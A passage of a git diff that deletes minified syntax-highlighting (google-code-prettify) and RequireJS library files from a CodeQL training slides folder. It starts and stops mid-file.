s:and-query-queries|cts:and-query-options|cts:and-query|cts:and-not-query-positive-query|cts:and-not-query-negative-query|cts:and-not-query|css:get|css:convert|cpf:success|cpf:failure|cpf:document-set-state|cpf:document-set-processing-status|cpf:document-set-last-updated|cpf:document-set-error|cpf:document-get-state|cpf:document-get-processing-status|cpf:document-get-last-updated|cpf:document-get-error|cpf:check-transition|alert:spawn-matching-actions|alert:rule-user-id-query|alert:rule-set-user-id|alert:rule-set-query|alert:rule-set-options|alert:rule-set-name|alert:rule-set-description|alert:rule-set-action|alert:rule-remove|alert:rule-name-query|alert:rule-insert|alert:rule-id-query|alert:rule-get-user-id|alert:rule-get-query|alert:rule-get-options|alert:rule-get-name|alert:rule-get-id|alert:rule-get-description|alert:rule-get-action|alert:rule-action-query|alert:remove-triggers|alert:make-rule|alert:make-log-action|alert:make-config|alert:make-action|alert:invoke-matching-actions|alert:get-my-rules|alert:get-all-rules|alert:get-actions|alert:find-matching-rules|alert:create-triggers|alert:config-set-uri|alert:config-set-trigger-ids|alert:config-set-options|alert:config-set-name|alert:config-set-description|alert:config-set-cpf-domain-names|alert:config-set-cpf-domain-ids|alert:config-insert|alert:config-get-uri|alert:config-get-trigger-ids|alert:config-get-options|alert:config-get-name|alert:config-get-id|alert:config-get-description|alert:config-get-cpf-domain-names|alert:config-get-cpf-domain-ids|alert:config-get|alert:config-delete|alert:action-set-options|alert:action-set-name|alert:action-set-module-root|alert:action-set-module-db|alert:action-set-module|alert:action-set-description|alert:action-remove|alert:action-insert|alert:action-get-options|alert:action-get-name|alert:action-get-module-root|alert:action-get-module-db|alert:action-get-module|alert:action-get-description|zero-or-one|years-from-duration|year-from-dateTime|year-from-date|upper-case|unordered|true|translate|trace|tokenize|timezone-from-time|timezone-from-dateTime|timezone-from-date|sum|subtract-dateTimes-yielding-yearMonthDuration|subtract-dateTimes-yielding-dayTimeDuration|substring-before|substring-after|substring|subsequence|string-to-codepoints|string-pad|string-length|string-join|string|static-base-uri|starts-with|seconds-from-time|seconds-from-duration|seconds-from-dateTime|round-half-to-even|round|root|reverse|resolve-uri|resolve-QName|replace|remove|QName|prefix-from-QName|position|one-or-more|number|not|normalize-unicode|normalize-space|node-name|node-kind|nilled|namespace-uri-from-QName|namespace-uri-for-prefix|namespace-uri|name|months-from-duration|month-from-dateTime|month-from-date|minutes-from-time|minutes-from-duration|minutes-from-dateTime|min|max|matches|lower-case|local-name-from-QName|local-name|last|lang|iri-to-uri|insert-before|index-of|in-scope-prefixes|implicit-timezone|idref|id|hours-from-time|hours-from-duration|hours-from-dateTime|floor|false|expanded-QName|exists|exactly-one|escape-uri|escape-html-uri|error|ends-with|encode-for-uri|empty|document-uri|doc-available|doc|distinct-values|distinct-nodes|default-collation|deep-equal|days-from-duration|day-from-dateTime|day-from-date|data|current-time|current-dateTime|current-date|count|contains|concat|compare|collection|codepoints-to-string|codepoint-equal|ceiling|boolean|base-uri|avg|adjust-time-to-timezone|adjust-dateTime-to-timezone|adjust-date-to-timezone|abs)\b/],
-["pln",/^[\w:-]+/],["pln",/^[\t\n\r \xa0]+/]]),["xq","xquery"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-yaml.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-yaml.js
deleted file mode 100644
index c38729b6cfb6..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-yaml.js
+++ /dev/null
@@ -1,2 +0,0 @@
-var a=null;
-PR.registerLangHandler(PR.createSimpleLexer([["pun",/^[:>?|]+/,a,":|>?"],["dec",/^%(?:YAML|TAG)[^\n\r#]+/,a,"%"],["typ",/^&\S+/,a,"&"],["typ",/^!\S*/,a,"!"],["str",/^"(?:[^"\\]|\\.)*(?:"|$)/,a,'"'],["str",/^'(?:[^']|'')*(?:'|$)/,a,"'"],["com",/^#[^\n\r]*/,a,"#"],["pln",/^\s+/,a," \t\r\n"]],[["dec",/^(?:---|\.\.\.)(?:[\n\r]|$)/],["pun",/^-/],["kwd",/^\w+:[\n\r ]/],["pln",/^\w+/]]),["yaml","yml"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.css b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.css
deleted file mode 100644
index d44b3a2282ad..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.css
+++ /dev/null
@@ -1 +0,0 @@
-.pln{color:#000}@media screen{.str{color:#080}.kwd{color:#008}.com{color:#800}.typ{color:#606}.lit{color:#066}.pun,.opn,.clo{color:#660}.tag{color:#008}.atn{color:#606}.atv{color:#080}.dec,.var{color:#606}.fun{color:red}}@media print,projection{.str{color:#060}.kwd{color:#006;font-weight:bold}.com{color:#600;font-style:italic}.typ{color:#404;font-weight:bold}.lit{color:#044}.pun,.opn,.clo{color:#440}.tag{color:#006;font-weight:bold}.atn{color:#404}.atv{color:#060}}pre.prettyprint{padding:2px;border:1px solid #888}ol.linenums{margin-top:0;margin-bottom:0}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}li.L1,li.L3,li.L5,li.L7,li.L9{background:#eee}
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.js
deleted file mode 100644
index eef5ad7e6a07..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/prettify.js
+++ /dev/null
@@ -1,28 +0,0 @@
-var q=null;window.PR_SHOULD_USE_CONTINUATION=!0;
-(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a=
-[],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c<i;++c){var j=f[c];if(/\\[bdsw]/i.test(j))a.push(j);else{var j=m(j),d;c+2<i&&"-"===f[c+1]?(d=m(f[c+2]),c+=2):d=j;b.push([j,d]);d<65||j>122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;c<b.length;++c)i=b[c],i[0]<=j[1]+1?j[1]=Math.max(j[1],i[1]):f.push(j=i);b=["["];o&&b.push("^");b.push.apply(b,a);for(c=0;c<
-f.length;++c)i=f[c],b.push(e(i[0])),i[1]>i[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c<b;++c){var j=f[c];j==="("?++i:"\\"===j.charAt(0)&&(j=+j.substring(1))&&j<=i&&(d[j]=-1)}for(c=1;c<d.length;++c)-1===d[c]&&(d[c]=++t);for(i=c=0;c<b;++c)j=f[c],j==="("?(++i,d[i]===void 0&&(f[c]="(?:")):"\\"===j.charAt(0)&&
-(j=+j.substring(1))&&j<=i&&(f[c]="\\"+d[i]);for(i=c=0;c<b;++c)"^"===f[c]&&"^"!==f[c+1]&&(f[c]="");if(a.ignoreCase&&s)for(c=0;c<b;++c)j=f[c],a=j.charAt(0),j.length>=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p<d;++p){var g=a[p];if(g.ignoreCase)l=!0;else if(/[a-z]/i.test(g.source.replace(/\\u[\da-f]{4}|\\x[\da-f]{2}|\\[^UXux]/gi,""))){s=!0;l=!1;break}}for(var r=
-{b:8,t:9,n:10,v:11,f:12,r:13},n=[],p=0,d=a.length;p<d;++p){g=a[p];if(g.global||g.multiline)throw Error(""+g);n.push("(?:"+y(g)+")")}return RegExp(n.join("|"),l?"gi":"g")}function M(a){function m(a){switch(a.nodeType){case 1:if(e.test(a.className))break;for(var g=a.firstChild;g;g=g.nextSibling)m(g);g=a.nodeName;if("BR"===g||"LI"===g)h[s]="\n",t[s<<1]=y++,t[s++<<1|1]=a;break;case 3:case 4:g=a.nodeValue,g.length&&(g=p?g.replace(/\r\n?/g,"\n"):g.replace(/[\t\n\r ]+/g," "),h[s]=g,t[s<<1]=y,y+=g.length,
-t[s++<<1|1]=a)}}var e=/(?:^|\s)nocode(?:\s|$)/,h=[],y=0,t=[],s=0,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=document.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);m(a);return{a:h.join("").replace(/\n$/,""),c:t}}function B(a,m,e,h){m&&(a={a:m,d:a},e(a),h.push.apply(h,a.e))}function x(a,m){function e(a){for(var l=a.d,p=[l,"pln"],d=0,g=a.a.match(y)||[],r={},n=0,z=g.length;n<z;++n){var f=g[n],b=r[f],o=void 0,c;if(typeof b===
-"string")c=!1;else{var i=h[f.charAt(0)];if(i)o=f.match(i[1]),b=i[0];else{for(c=0;c<t;++c)if(i=m[c],o=f.match(i[1])){b=i[0];break}o||(b="pln")}if((c=b.length>=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m),
-l=[],p={},d=0,g=e.length;d<g;++d){var r=e[d],n=r[3];if(n)for(var k=n.length;--k>=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/,
-q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/,
-q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g,
-"");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a),
-a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e}
-for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g<d.length;++g)e(d[g]);m===(m|0)&&d[0].setAttribute("value",
-m);var r=s.createElement("OL");r.className="linenums";for(var n=Math.max(0,m-1|0)||0,g=0,z=d.length;g<z;++g)l=d[g],l.className="L"+(g+n)%10,l.firstChild||l.appendChild(s.createTextNode("\xa0")),r.appendChild(l);a.appendChild(r)}function k(a,m){for(var e=m.length;--e>=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*</.test(m)?"default-markup":"default-code";return A[a]}function E(a){var m=
-a.g;try{var e=M(a.h),h=e.a;a.a=h;a.c=e.c;a.d=0;C(m,h)(a);var k=/\bMSIE\b/.test(navigator.userAgent),m=/\n/g,t=a.a,s=t.length,e=0,l=a.c,p=l.length,h=0,d=a.e,g=d.length,a=0;d[g]=s;var r,n;for(n=r=0;n<g;)d[n]!==d[n+2]?(d[r++]=d[n++],d[r++]=d[n++]):n+=2;g=r;for(n=r=0;n<g;){for(var z=d[n],f=d[n+1],b=n+2;b+2<=g&&d[b+1]===f;)b+=2;d[r++]=z;d[r++]=f;n=b}for(d.length=r;h<p;){var o=l[h+2]||s,c=d[a+2]||s,b=Math.min(o,c),i=l[h+1],j;if(i.nodeType!==1&&(j=t.substring(e,b))){k&&(j=j.replace(m,"\r"));i.nodeValue=
-j;var u=i.ownerDocument,v=u.createElement("SPAN");v.className=d[a+1];var x=i.parentNode;x.replaceChild(v,i);v.appendChild(i);e<o&&(l[h+1]=i=u.createTextNode(t.substring(b,o)),x.insertBefore(i,v.nextSibling))}e=b;e>=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"],
-"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"],
-H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"],
-J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+
-I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^<?]+/],["dec",/^<!\w[^>]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^<xmp\b[^>]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^<script\b[^>]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^<style\b[^>]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]),
-["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css",
-/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),
-["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes",
-hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p<h.length&&l.now()<e;p++){var n=h[p],k=n.className;if(k.indexOf("prettyprint")>=0){var k=k.match(g),f,b;if(b=
-!k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p<h.length?setTimeout(m,
-250):a&&a()}for(var e=[document.getElementsByTagName("pre"),document.getElementsByTagName("code"),document.getElementsByTagName("xmp")],h=[],k=0;k<e.length;++k)for(var t=0,s=e[k].length;t<s;++t)h.push(e[k][t]);var e=q,l=Date;l.now||(l={now:function(){return+new Date}});var p=0,d,g=/\blang(?:uage)?-([\w.]+)(?!\S)/;m()};window.PR={createSimpleLexer:x,registerLangHandler:k,sourceDecorator:u,PR_ATTRIB_NAME:"atn",PR_ATTRIB_VALUE:"atv",PR_COMMENT:"com",PR_DECLARATION:"dec",PR_KEYWORD:"kwd",PR_LITERAL:"lit",
-PR_NOCODE:"nocode",PR_PLAIN:"pln",PR_PUNCTUATION:"pun",PR_SOURCE:"src",PR_STRING:"str",PR_TAG:"tag",PR_TYPE:"typ"}})();
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/require-1.0.8.min.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/require-1.0.8.min.js
deleted file mode 100644
index 162cd9a682e3..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/require-1.0.8.min.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- RequireJS 1.0.8 Copyright (c) 2010-2012, The Dojo Foundation All Rights Reserved.
- Available via the MIT or new BSD license.
- see: http://github.com/jrburke/requirejs for details
-*/
-var requirejs,require,define;
-(function(r){function K(a){return O.call(a)==="[object Function]"}function G(a){return O.call(a)==="[object Array]"}function $(a,c,l){for(var j in c)if(!(j in L)&&(!(j in a)||l))a[j]=c[j];return d}function P(a,c,d){a=Error(c+"\nhttp://requirejs.org/docs/errors.html#"+a);if(d)a.originalError=d;return a}function aa(a,c,d){var j,k,t;for(j=0;t=c[j];j++){t=typeof t==="string"?{name:t}:t;k=t.location;if(d&&(!k||k.indexOf("/")!==0&&k.indexOf(":")===-1))k=d+"/"+(k||t.name);a[t.name]={name:t.name,location:k||
-t.name,main:(t.main||"main").replace(fa,"").replace(ba,"")}}}function V(a,c){a.holdReady?a.holdReady(c):c?a.readyWait+=1:a.ready(!0)}function ga(a){function c(b,f){var g,m;if(b&&b.charAt(0)===".")if(f){q.pkgs[f]?f=[f]:(f=f.split("/"),f=f.slice(0,f.length-1));g=b=f.concat(b.split("/"));var a;for(m=0;a=g[m];m++)if(a===".")g.splice(m,1),m-=1;else if(a==="..")if(m===1&&(g[2]===".."||g[0]===".."))break;else m>0&&(g.splice(m-1,2),m-=2);m=q.pkgs[g=b[0]];b=b.join("/");m&&b===g+"/"+m.main&&(b=g)}else b.indexOf("./")===
-0&&(b=b.substring(2));return b}function l(b,f){var g=b?b.indexOf("!"):-1,m=null,a=f?f.name:null,h=b,e,d;g!==-1&&(m=b.substring(0,g),b=b.substring(g+1,b.length));m&&(m=c(m,a));b&&(m?e=(g=n[m])&&g.normalize?g.normalize(b,function(b){return c(b,a)}):c(b,a):(e=c(b,a),d=G[e],d||(d=i.nameToUrl(b,null,f),G[e]=d)));return{prefix:m,name:e,parentMap:f,url:d,originalName:h,fullName:m?m+"!"+(e||""):e}}function j(){var b=!0,f=q.priorityWait,g,a;if(f){for(a=0;g=f[a];a++)if(!s[g]){b=!1;break}b&&delete q.priorityWait}return b}
-function k(b,f,g){return function(){var a=ha.call(arguments,0),c;if(g&&K(c=a[a.length-1]))c.__requireJsBuild=!0;a.push(f);return b.apply(null,a)}}function t(b,f,g){f=k(g||i.require,b,f);$(f,{nameToUrl:k(i.nameToUrl,b),toUrl:k(i.toUrl,b),defined:k(i.requireDefined,b),specified:k(i.requireSpecified,b),isBrowser:d.isBrowser});return f}function p(b){var f,g,a,c=b.callback,h=b.map,e=h.fullName,ca=b.deps;a=b.listeners;var j=q.requireExecCb||d.execCb;if(c&&K(c)){if(q.catchError.define)try{g=j(e,b.callback,
-ca,n[e])}catch(k){f=k}else g=j(e,b.callback,ca,n[e]);if(e)(c=b.cjsModule)&&c.exports!==r&&c.exports!==n[e]?g=n[e]=b.cjsModule.exports:g===r&&b.usingExports?g=n[e]:(n[e]=g,H[e]&&(T[e]=!0))}else e&&(g=n[e]=c,H[e]&&(T[e]=!0));if(x[b.id])delete x[b.id],b.isDone=!0,i.waitCount-=1,i.waitCount===0&&(J=[]);delete M[e];if(d.onResourceLoad&&!b.placeholder)d.onResourceLoad(i,h,b.depArray);if(f)return g=(e?l(e).url:"")||f.fileName||f.sourceURL,a=f.moduleTree,f=P("defineerror",'Error evaluating module "'+e+'" at location "'+
-g+'":\n'+f+"\nfileName:"+g+"\nlineNumber: "+(f.lineNumber||f.line),f),f.moduleName=e,f.moduleTree=a,d.onError(f);for(f=0;c=a[f];f++)c(g);return r}function u(b,f){return function(g){b.depDone[f]||(b.depDone[f]=!0,b.deps[f]=g,b.depCount-=1,b.depCount||p(b))}}function o(b,f){var g=f.map,a=g.fullName,c=g.name,h=N[b]||(N[b]=n[b]),e;if(!f.loading)f.loading=!0,e=function(b){f.callback=function(){return b};p(f);s[f.id]=!0;A()},e.fromText=function(b,f){var g=Q;s[b]=!1;i.scriptCount+=1;i.fake[b]=!0;g&&(Q=!1);
-d.exec(f);g&&(Q=!0);i.completeLoad(b)},a in n?e(n[a]):h.load(c,t(g.parentMap,!0,function(b,a){var c=[],e,m;for(e=0;m=b[e];e++)m=l(m,g.parentMap),b[e]=m.fullName,m.prefix||c.push(b[e]);f.moduleDeps=(f.moduleDeps||[]).concat(c);return i.require(b,a)}),e,q)}function y(b){x[b.id]||(x[b.id]=b,J.push(b),i.waitCount+=1)}function D(b){this.listeners.push(b)}function v(b,f){var g=b.fullName,a=b.prefix,c=a?N[a]||(N[a]=n[a]):null,h,e;g&&(h=M[g]);if(!h&&(e=!0,h={id:(a&&!c?O++ +"__p@:":"")+(g||"__r@"+O++),map:b,
-depCount:0,depDone:[],depCallbacks:[],deps:[],listeners:[],add:D},B[h.id]=!0,g&&(!a||N[a])))M[g]=h;a&&!c?(g=l(a),a in n&&!n[a]&&(delete n[a],delete R[g.url]),a=v(g,!0),a.add(function(){var f=l(b.originalName,b.parentMap),f=v(f,!0);h.placeholder=!0;f.add(function(b){h.callback=function(){return b};p(h)})})):e&&f&&(s[h.id]=!1,i.paused.push(h),y(h));return h}function C(b,f,a,c){var b=l(b,c),d=b.name,h=b.fullName,e=v(b),j=e.id,k=e.deps,o;if(h){if(h in n||s[j]===!0||h==="jquery"&&q.jQuery&&q.jQuery!==
-a().fn.jquery)return;B[j]=!0;s[j]=!0;h==="jquery"&&a&&W(a())}e.depArray=f;e.callback=a;for(a=0;a<f.length;a++)if(j=f[a])j=l(j,d?b:c),o=j.fullName,f[a]=o,o==="require"?k[a]=t(b):o==="exports"?(k[a]=n[h]={},e.usingExports=!0):o==="module"?e.cjsModule=k[a]={id:d,uri:d?i.nameToUrl(d,null,c):r,exports:n[h]}:o in n&&!(o in x)&&(!(h in H)||h in H&&T[o])?k[a]=n[o]:(h in H&&(H[o]=!0,delete n[o],R[j.url]=!1),e.depCount+=1,e.depCallbacks[a]=u(e,a),v(j,!0).add(e.depCallbacks[a]));e.depCount?y(e):p(e)}function w(b){C.apply(null,
